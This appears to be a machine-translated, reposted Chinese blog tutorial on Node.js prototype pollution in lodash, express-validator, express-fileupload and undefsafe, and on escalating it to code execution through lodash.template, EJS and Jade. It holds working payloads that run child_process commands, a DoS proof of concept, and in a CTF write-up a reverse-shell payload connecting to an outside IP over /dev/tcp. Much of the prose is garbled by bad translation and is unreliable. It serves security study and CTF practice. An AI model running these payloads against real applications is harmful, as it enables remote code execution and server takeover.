Nodejs 常见模块原型链污染与常见模板污染向RCE
发布于 2022-01-02 19:20
Lodash模块基础链污染
Lodash 是一个 JavaScript 库,包含简化对象、数字、数组、函数和编程的工具,可以帮助程序员更有效地写作和维护 JavaScript 代码。并且是一个流行的 npm 库,仅在 GitHub 上就可以做到400 万个项目使用,Lodash 的比例非常高,每月的下载量超过 8000 万次。但是这个库中有几个严重的严重污染漏洞。
lodash.defaultsDeep 方法造成的底层链污染(CVE-2019-10744)
2019年7月2日,Snyk发布了一个高严重性的原型污染安全漏洞(CVE-2019-10744),影响了小于4.17.12的所有版本的lodash。
Lodash 库中的defaultsDeep
函数可能会被包含constructor
的 Payload 诱骗添加或修改Object.prototype
。最终可能导致 Web 应用程序或其行为,具体事件发生的实例。
JAVASCRIPT
1 | const mergeFn = require ( 'lodash' ). defaultsDeep ; |
我们在mergeFn({}, JSON.parse(payload));
处下断点,单步结束后可以看到:
成功在__proto__
属性中添加了一个whoami
属性,有Vulnerable
,成功。
该漏洞披露之后,Lodash 于 7 月 9 日发布了 4.17.12 版本,其中包括 Snyk 修复和修复漏洞。我们可以参考一下 Snyk 的工程师Kirill发布到 GitHub 上的 lodash JavaScript 库存储库https://github。com/lodash/lodash/pull/4336/files的实际安全修复:
该修复包括以下安全检查:
过滤了
constructor
以确保我们不会被广泛污染constructor
还添加了一个测试用例以确保将来不会发生
lodash.merge 方法创建的链污染
Lodash.merge 是 lodash 中的对象合并插件,他可以还原合并的sources
对象自身和继承的枚举到object
对象,创建父对象以目标对象:
JS
1 | 合并(对象,来源) |
当两个键相同时,生成的对象将具有最合适的键的值。如果有多个对象相同,则新生成的对象将有一个与这些对象相对应的键和值。但是这里的 lodash.merge 操作存在存在的简单链污染漏洞,以下对其进行分析,这里使用4.17.4版本的Lodash。
node_modules/lodash/merge.js
merge.js 调用了 baseMerge 方法,则定位到 baseMerge:
node_modules/lodash/_baseMerge.js
如果 srcValue 是一个对象,则进入 baseMergeDeep 方法,进入 baseMergeDeep 方法:
node_modules/lodash/_baseMergeDeep.js
跟进assignMergeValue方法:
node_modules/lodash/_assignMergeValue.js:
跟进baseAssignValue方法:
node_modules/lodash/_baseAssignValue.js
这里的如果可以绕过,最终进入object[key] = value
的判断操作。
下面给出一个POC的弱点:
JS
1 | var lodash= require ( 'lodash' ); |
我们在lodash.merge({}, JSON.parse(payload));
处下断点,单步结束后可以看到:
成功在类型为 Object 的一个对象的__proto__
属性中添加了一个whoami
属性,具有Vulnerable
,影响成功。
在 lodash.merge 方法创建的底层链污染中,为了实现代码执行,我们往往会污染sourceURL
属性,即给所有对象对象中都插入一个sourceURL
属性,然后通过 lodash.template 方法中的实现自由代码执行漏洞。文中我们会通过 [Code-Breaking 2018] Thejs 这道题来仔细讲解。
lodash.mergeWith 方法造成的原链污染
方法这个类似于merge
方法。但是它还会接受一个customizer
,以决定如何进行合并。如果customizer
报道查看undefined
将会由合并处理方法代替。
JS
1 | 合并(对象,来源,[定制器]) |
该方法与merge
方法一样存在原型链漏洞,下面给出一个漏洞的POC:
JS
1 | var lodash= require ( 'lodash' ); |
我们在lodash.mergeWith({}, JSON.parse(payload));
处下断点,单步结束后可以看到:
成功在类型为 Object 的一个对象的__proto__
属性中添加了一个whoami
属性,具有Vulnerable
,影响成功。
lodash.set 方法创建的链污染
Lodash.set 方法可以将值设置到对象上,如果没有创建,则这部分路径。缺少的属性会创建会为数组,而缺少的属性创建为对象。
JS
1 | 设置(对象,路径,值) |
示例:
JS
1 | var object = { 'a' : [{ 'b' : { 'c' : 3 } }] }; |
在使用 Lodash.set 方法时,如果没有对颗粒的参数进行过滤,则可能会造成地面链污染。下面给出一个验证漏洞的 POC:
JS
1 | var lodash= require ( 'lodash' ); |
我们在lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
处下断点,单步结束后可以看到:
在类型为 Array 的 object_1 对象的__proto__
属性中出现了一个whoami
属性,具有Vulnerable
,污染成功。
lodash.setWith 方法创建的链污染
Lodash.setWith 方法类似的set
方法。但它可以接受一个customizer
,利用并决定如何设置对象路径的值。如果customizer
返回将undefined
有它的处理方法替换。
JS
1 | setWith(object, path, value, [customizer]) |
该方法与set
方法一样进行了原型链污染,下面给出一个漏洞验证的POC:
JS
1 | var lodash= require ( 'lodash' ); |
我们在lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
处下断点,单步结束后可以看到:
在类型为 Array 的 object_1 对象的__proto__
属性中出现了一个whoami
属性,具有Vulnerable
,污染成功。
到此我们已经对lodash模块中的几种方法进行了初步验证,可以成功地进行污染基础设施的开发。但如果要进行代码执行,则还需要配合eval()
的执行或模板引擎的渲染。
Express-validator 模块基础链污染
Express-validator 模块对请求的 body、params、query、headers 和 cookies 进行验证(validator)和过滤(sanitizer),并且如果任何配置的验证规则失败,返回一个错误的响应。
开发Web时,我们总是需要对用户的数据进行验证,这包括客户端的验证验证,以及应用客户端的验证是不可靠的,我们不能把所有的用户都当成用户,绕过去过客户端的验证部分用户确切不能做什么事,因此所有数据应该在服务端也进行一次验证。通过快速验证器进行数据验证,这样就不必自己详细说明为每一个单独写验证程序。
为了更好地理解表达验证器模块的作用,下面我们来看一下官方给出的实例。首先写一个在数据库中创建用户的基本反馈:
JS
1 | const express = require ( 'express' ); |
然后,如果此时你需要确保在创建用户之前对用户的输入进行并验证报告所有错误,你可以使用 express-validator 中间件:
JS
1 | // ...为简单起见,省略了其余的初始代码。 |
如下所示,组件可能会收到无效username
或password
字段的请求时,您的服务器将响应如下:
JSON
1 | { “错误”:[ { “位置”:“正文”,“味精”:“无效值”,“参数”:“用户名” } ] } |
更多详情请看:https://express-validator.github.io/docs/
看到,有了express-validator中间件,我们可以很方便的对Express应用提交的数据进行验证,但是在6.6.0版本的express-validator中存在一个基础链污染漏洞,原因是express-validator中的依赖的 lodash 模块存在原型链污染漏洞。
下面我们开始分析,写以下测试代码:
应用程序.js
JS
1 | const express = require ( 'express' ) |
安装对应版本的依赖包:
猛击
1 | NPM安装lodash@4.17.15 |
我们首先来看看表达验证器是如何做参数过滤的,就是快递这个的中间件body('*').trim()
到底做了什么跟进。body
:
node_modules/express-validator/src/middlewares/validation-chain-builders.js
可以看到,check
,body
,cookie
等这些都是对buildCheckFunction
函数的封装,而buildCheckFunction
函数内部调用了check.js
中的check
函数,跟进check
:
node_modules/express-validator/src/middlewares/check.js
看到先return
的地方,check
函数里的middleware
就是express-validator
名单最终对接express
的中间件。bindAll
函数做的事情就是把对象原型链上的函数绑定成了对象的一个属性,因为Object.assign
只做浅拷贝产品,bindAll
之后Object.assign
就可以把sanitizers
状语从句:validators
中的方法过滤绑定到middleware
上面了,这样子通过了这个middleware
调用所有的验证(validators)和(sanitizers)函数。
传入bindAll
的参数值的英文通过Chain_1.SanitizersImpl
函数报道查看的,跟进Chain_1.SanitizersImpl
:
node_modules/express-validator/src/chain/sanitizers-impl.js
在这个sanitizers-impl.js
中存在很多的过滤器(消毒剂),并且每次过滤器实现的方法都调用了this.addStandardSanitization
来将过滤器吸附到sanitization_1.Sanitization
方法中,得到的结果再传递给this.builder.addItem
,这样给builder
增加了一个sanitization
,最终返回this.chain
到bindAll
中,这样就执行链式调用。
我们在sanitizers-impl.js
中找到了trim
过滤器:
node_modules/express-validator/src/context-items/sanitization.js
这个Sanitization
中的run
方法,该方法最终能通过调用sanitizer
方法设置了context
的值。
看看再来那个this.builder.addItem
做了什么:
node_modules/express-validator/src/context-builder.js
把就是传入进来的值压入this.stack
栈中。
我们回到Sanitization
中的run
方法,这个run
方法,寻找调用run
的地方。在check.js里面发现一个runner
对象,并在middleware
里调用了run
方法:
可以同样从node_modules/express-validator/src/chain/context-runner-impl.js
中找到实现runner.run
方法的具体位置为:
可以看到这的run
这里可以context.stack
看到的是从里面循环遍历了 contextItem
,并调用了其run
方法。这个context.stack
其实就是通过this.builder.addItem
方法添加的。
这就是完整过滤的express-validator的(sanitizer)的实现流程。
express-validator
的做法是把各种validator
和sanitizers
的方法绑定到check
返回的middleware
上,这些validator
和sanitizer
的方法通过往context.stack
属性里面推送context-items
,最终在ContextRunnerImpl.run
方法里遍历context.stack
中的context-items
,逐一调用run
方法实现validation
或者是sanitization
。
在上面的分析里,context-runner-impl.js 的run
中,看到options.dryRun
不为真并且可以reqValue !== instance.value
进入条件,则如果通过_.set
重新确定req[location]
的某个参数的值新的值,这里的参数都是可控的,而且 6.6.0 版本的 express-validator 中要求的 lodash 最低版本 4.17.15,就有机会触发原型链污染漏洞了。
两个条件其中options.dryRun
默认为假无管,而要满足reqValue !== instance.value
的条件,通过调试可以,就是使我们给的参数的值通过sanitizer
改变了就行。
以check().trim()
这个sanitizer
来举例子,我们只要给的有这样的机会,有这样一个trim()
可用的空白无法使用,就可以满足上面的触发条件,但不是直接Lodash的负载就可以成功。直接发送以下测试数据包并在 context-runner-impl.js 中的_.set
处下断点:
JSON
1 | { "__proto__[whoami]" : "易受攻击的" } |
下面所示,发现确实满足了条件,却没有污染成功:
这是,这里_set
的第一个参数和 Lodash 原始链污染提供的有效载荷还不太一样,Lodash 原始链污染的有效载荷里空是对象,而这里是req[location]
,req[location]
因为里面本来就有我们_set
的第二个参数也就是参数需要设置的对象的路径key
,key
源于导致了路径污染失败。
所以,现在的路径就是,我们需要把恶意的问题key
传递给这个洛达什的_set
函数中作为第二个参数,而恶意的恶作key
是通过req
的参数传递过去的,所以会被保存到_.set
的参数个req[location]
里面,导致原型链污染失败。有那么可能没有在这个key
走到_set
之前的某个时候,了经过express-validator
的一些处理发生了一些变化导致状语从句:req[location]
里的key
不一样了呢?的这样话教育_set
就可以污染成功了。
当我们降低数据包时:
JSON
1 | { "\"].__proto__[\"whoami" : "易受攻击的" } |
这里的键为"].__proto__["whoami
,但由于字符里面存在.
,所以在段中。减少函数处理时会左右左右加双引号和中间段,最终变成[""].__proto__["whoami"]
:
而[""].__proto__["whoami"]
这_set
之后,由于req[location]
中不存在这个key
,所以就可以成功设置req[locaiton]
了。这样可以成功地污染了,并且增加了一个whoami
参数,我们的并没有额外的设置,增加污染值是为了一个空值。''
。的英文这在因为_set
的时候用的第三个参数newValue
的英文利用变化后的key
重新从req[location]
取出来的。由于req[location]
中不存在这个key
,所以取出来的值是undefined
,但是因为我们用了sanitizer
,这个所以undefined
会经过sanitizer
的处理并最终变成了空字符串''
。
可不要小看这一个空值,就是这一个空字符串,因为的JavaScript的一些特性,便可以具备很强大的威力。比如,如果判断中,''
字符串会返回假,这就是说我们可以把某些地方本来的条件决定要假,从而为某些限制或改变开始走向。
Express-fileupload 模块原型链化
Nodejs 的中间件,express-fileupload 模块可以表达应用提供文件上传功能。但是该模块的 1.1.8 之前的版本存在原型链污染漏洞(CVE-2020-7699)。但是,要引发该漏洞,需要一定的配置,即将解析嵌套选项设置为真。该漏洞可以引发 DOS 拒绝服务攻击,配合 EJS 等模板引擎,可以达到 RCE 的目的。
下面来简单的分析一下该漏洞,首先下载存在漏洞的express-fileupload源码:
猛击
1 | npm i express-fileupload@1.1.7-alpha.4 |
引入 express-fileupload 模块原型链污染漏洞的主要代码如下:
JS
1 | busboy.on( 'finish' , () => { |
跟进processNested
函数:
JS
1 | function processNested ( data ) { if (!data || data.length < 1 ) return {}; |
可见引发的链污染处就在于这个porcessNested
方法,可以看到,它的功能那个人合并比较函数类似,都是循环调用,最终产生了原型链污染。
代码
1 | 房价的参数是:{"abc":"whoami"} |
该漏洞的首要条件是parseNested参数为真,如果parseNested
参数为真,调用则processNested
函数,参数御姐是req.body
或者req.files
。req.body
是的NodeJS解析的POST请求体,req.files
获取上传文件的信息。这两种请求方法都可以使用。
污染 toString 方法导致 DOS 拒绝服务攻击
测试代码:
JS
1 | const express = require ( 'express' ); |
造成DOS拒绝服务造成的目标就是污染了toString
方法,了系统内部错误。这里使用req.files
请求,POC如下:
PYTHON
1 | POST / HTTP/ 1.1 |
发送POC之后,服务器发生错误:
配合EJS模板实现RCE
这里我们使用req.body
请求,可以实现任意属性的污染。
测试代码:
服务器.js
JS
1 | const express = require ( 'express' ); |
索引.ejs
HTML
1 | <!DOCTYPE html > |
这里使用req.body
请求,POC如下:
PYTHON
1 | POST / HTTP/ 1.1 |
发送POC之后,成功执行命令并弹出了计算器:
用于 EJS 模板 RCE 的原理我们下篇文章中再讲。
Undefsafe 模块原型链污染
Undefsafe 是 Nodejs 的一个模块,其属性为一个简单的函数,用于核心处理对象不存在时的报错问题。但其在低版本(< 2.0.3)中存在原型链污染漏洞(CVE- 2019-10795),攻击者可利用该漏洞添加或修改 Object.prototype 属性。
undefsafe 模块的使用
我们先简单测试一下该模块的用法:
JS
1 | var a = require ( "undefsafe" ); |
可以看到当我们正常访问对象属性的时候会正常的回显,但我们访问不存在属性的时候领取奖励当报错:
JS
1 | console .log(object.ace) |
在编程时,代码量不足时,我们可能经常会遇到类似情况,导致这个程序无法正常运行,发送我们最讨厌的报错。那么 undefsafe 可以帮助我们解决问题:
JS
1 | var a = require ( "undefsafe" ); |
那么当我们愿意间时访问到对象不存在的属性,就不会再进行报错,频率会返回未定义了。
同时在对对象出现时,如果目标属性存在:
JS
1 | var a = require ( "undefsafe" ); |
我们可以,看到其可以帮助我们修改属性的值。如果当属性存在时,我们想属性不启动:
JS
1 | var a = require ( "undefsafe" ); |
访问属性会在上层进行创建并启动。
Undefsafe 模块漏洞分析
但是undefsafe模块在2.0.3版本,存在示例链污染漏洞(CVE-2019-10795)。
我们在 2.0.3 版本中进行测试:
JS
1 | var a = require ( "undefsafe" ); |
但是如果在运行装备 2.0.3 版本,则训练得到输出如下:
JS
1 | var a = require ( "undefsafe" ); |
可见,当 undefsafe() 函数的第 2,3 个参数开启时,我们可以污染对象对象中的值。
再来看一个简单的例子:
JS
1 | var a = require ( "undefsafe" ); |
返回:[object Object],并与此进行了对比。但是当我们使用undefsafe的时候,可以对原地进行创建:
JS
1 | a(test, '__proto__.toString' ,函数() { return '只是一个邪恶!}) |
可以看到最终输出了“这仅仅是一个邪恶的!”这就是因为原型链污染导致,当我们将对象与字符串拼接时,即将对象当做字符串使用时,自动会触发其toString
方法。但由于当前对象,则回溯到原点中没有,并发现toString
方法,同时进行调用,而此时原点中的toString
方法已被我们污染,因此可以导致其输出被我们污染后的结果。
配合lodash.template实现RCE
Lodash.template是Lodash中的一个简单的模板引擎,创建一个预编译模板方法,可以插入数据到模板中“插值”分隔符相应的位置详情请看:http://lodash.think2011.net/template
在Lodash的原型链污染中,为了实现代码,我们通常会污染模板中的sourceURL
属性,即给所有对象中的都插入一个sourceURL
属性,然后通过lodash.template中的实现自由代码执行漏洞。下面我们通过【Code-Breaking 2018】js这道题来仔细讲解。
[代码破解2018]Thejs
进入题目,主页如下:
关键源码如下:
服务器.js
JS
1 | const fs = require ( 'fs' ) |
代码很简单,就是将用户提交的信息,用lodash.merge
方法合并到会议里面去,多次提交,会话里最终保存你提交的所有信息。的这里lodash.merge
操作存在原型链污染漏洞无需多言,下面给出解题的有效载荷:
JS
1 | { "__proto__" :{ "sourceURL" : "\u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}" }} |
为什么要污染源URL呢?我们看到lodash.template
的代码:https : //github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165
JS
1 | // 使用 sourceURL 以便于调试。 |
再下看可以发现sourceURL 被输入函数 函数构造器的第二个,重新生成一个代码执行漏洞。所以我们通过原型链污染sourceURL参数构造chile_process.exec就可以执行任意代码了。但是要注意,功能下环境没有require
函数,使用直接require('child_process')
会报错,我们所以要用global.process.mainModule.constructor._load
来代替。
我们将有效载荷以 Json 的形式发送给完整,因为快递框架支持根据 Content-Type 来解析请求正文,为我们注入基地提供了很多方便:
如上图所示,成功执行id
命令。
配合ejs模板引擎实现RCE
Nodejs 的 ejs 模板引擎存在一个利用原地污染污染的一个漏洞。但要实现 RCE,首先需要有原型链,这里我们暂且使用 lodash.merge 方法中的原型链污染漏洞。
应用程序.js
JS
1 | var express = require ( 'express' ); |
索引.ejs
HTML
1 | <!DOCTYPE html > |
运行app.js后访问8000端口,成功弹出计算器:
下面我们开始分析。
刚开始的lodash.merge
原始链污染没有什么可说的,在lodash.merge({}, JSON.parse(malicious_payload));
处下断点,单步结束后可以看到:
成功在__proto__
中出污染了一个outputFunctionName
属性,值_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2
。
但要污染一个outputFunctionName
属性呢?我们继续往下看。我们从index.js::res.render处开始,为什么跟进render方法:
node_modules/express/lib/response.js
跟进到app.render方法:
node_modules/express/lib/application.js
发现最终会进入app.render方法里的tryRender函数,跟踪到tryRender:
node_modules/express/lib/application.js
node_modules/express/lib/view.js
至此调用了engine
,通过engine
调用了ejs 的renderFile 模板引擎中的方法,从模板引擎ejs.js
中使用了。进入到了模板渲染引擎中。进入ejs.js
中的render方法:
node_modules/ejs/ejs.js
发现renderFile中又调用了tryHandleCache方法,跟进tryHandleCache:
node_modules/ejs/ejs.js
进入handleCache方法,跟踪handleCache:
node_modules/ejs/ejs.js
在handleCache中找到了渲染模板的编译方法,跟进编译:
发现在编译中存在大量的渲染拼接。将这里opts.outputFunctionName
拼接到预先考虑中,添附在最后会被传递给this.source并被带入函数执行。所以如果我们能够污染 opts.outputFunctionName
,就能将我们构造的有效载荷拼接进的js语句中,并在 ejs 渲染时进行 RCE。在 ejs 中还有一个render
方法,其最终compile
也是进入了。最后给出几个 ejs 模板引擎 RCE 常用的 POC:
JS
1 | { "__proto__" :{ "outputFunctionName" : "_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2" }} |
[XNUCA 2019 预选赛]Hardjs
进入题目是一个登录页面:
关键源码如下:
服务器.js
JS
1 | const fs = require ( 'fs' ) |
查看/getlodash.defaultsDeep
这个方法还有漏的逻辑,可以看到当条数大于五条时会触合并合并操作,使用并且是,污染存在原链,在前文已经分析过不在多说。模板引擎,我们可以通过ejs模板引擎进行RCE。
JS
1 | { "type" : "test" , "content" : { "constructor" : { "prototype" : { "outputFunctionName" : "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\"');var __tmp2" }}}} |
向/add
语音发送 6 次请求:
然后访问/get
原型进行基础链,最后访问/
或访问/login
触发render
函数进行ejs模板RCE,成功反弹Shell:
配合玉模板引擎实现RCE
Nodejs 的 jade 模板引擎存在一个利用原样污染进行 RCE 的一个漏洞。但要实现 RCE,首先需要有原型链,这里我们暂且使用 lodash.merge 方法中的原型链污染漏洞。
应用程序.js
JS
1 | var express = require ( 'express' ); |
索引.jade
代码
1 | h1 #{message} |
运行app.js后访问8000端口,成功弹出计算器:
下面我们开始分析。
Jade模板引擎RCE的国内思路和ejs模板的思路很像,当开始都是:res.render
=> app.render
=> tryRender
=> view.render
=> this.engine
,然后从engine
开始进入jade模板,jade的入口是exports.__express
:
首先可以初始options.compileDebug
无初始值,我们可以通过原生覆盖开启调试模式,即:
JS
1 | { “ __proto__”:{ “compileDebug”:1 }} |
然后会进入renderFile
方法,跟进之:
node_modules/jade/lib/index.js
返回的时候进入handleTemplateCache,方法跟进handleTemplateCache:
node_modules/jade/lib/index.js
node_modules/jade/lib/index.js
玉模板和ejs不同,在编译编译之前会解析解析,接着解析:
node_modules/jade/lib/index.js
解析中先经过parser.parse
解析,然后由compiler.compile
进行编译,最后返回编译后代码:
但是在body
中存在发现错误处理入口addWith
,只要不进入这个条件分支就可以避免出错了,需要我们通过现场污染将自我覆盖为真:
JS
1 | { "__proto__" :{ "compileDebug" : 1 , "self" : 1 }} |
然后我们回过头来跟进compiler.compile
,看看它的作用:
node_modules/jade/lib/compiler.js
首先,编译后代码会举办在this.buf中,然后通过this.visit(this.node)分析遍历解析生成的AST树这个.node,跟进访问:
node_modules/jade/lib/compiler.js
可以看到,如果debug为真,node.line就会被push进去,并导致导致,然后就可以返回buf部分执行命令。所以最终的Payload:
JS
1 | { "__proto__" :{ "compileDebug" : 1 , "self" : 1 , "line" : "console.log(global.process.mainModule.require('child_process').execSync('calc'))" }} |
未完待续……
关于ejs和翡翠模板的原因,官方声明不是一个漏洞,原型链的破坏巨大,但是基础链污染攻击端口端,就是污染了原链,整个程序重启,其他所有对象都被污染与影响!
写了个简单的POC生成脚本,直接生成两个模板引擎的POC,上传到github
点分享
点收藏
本文来自网络或网友投稿,如有侵犯您的权益,请发邮件至:aisoutu@outlook.com 我们将第一时间删除。
相关素材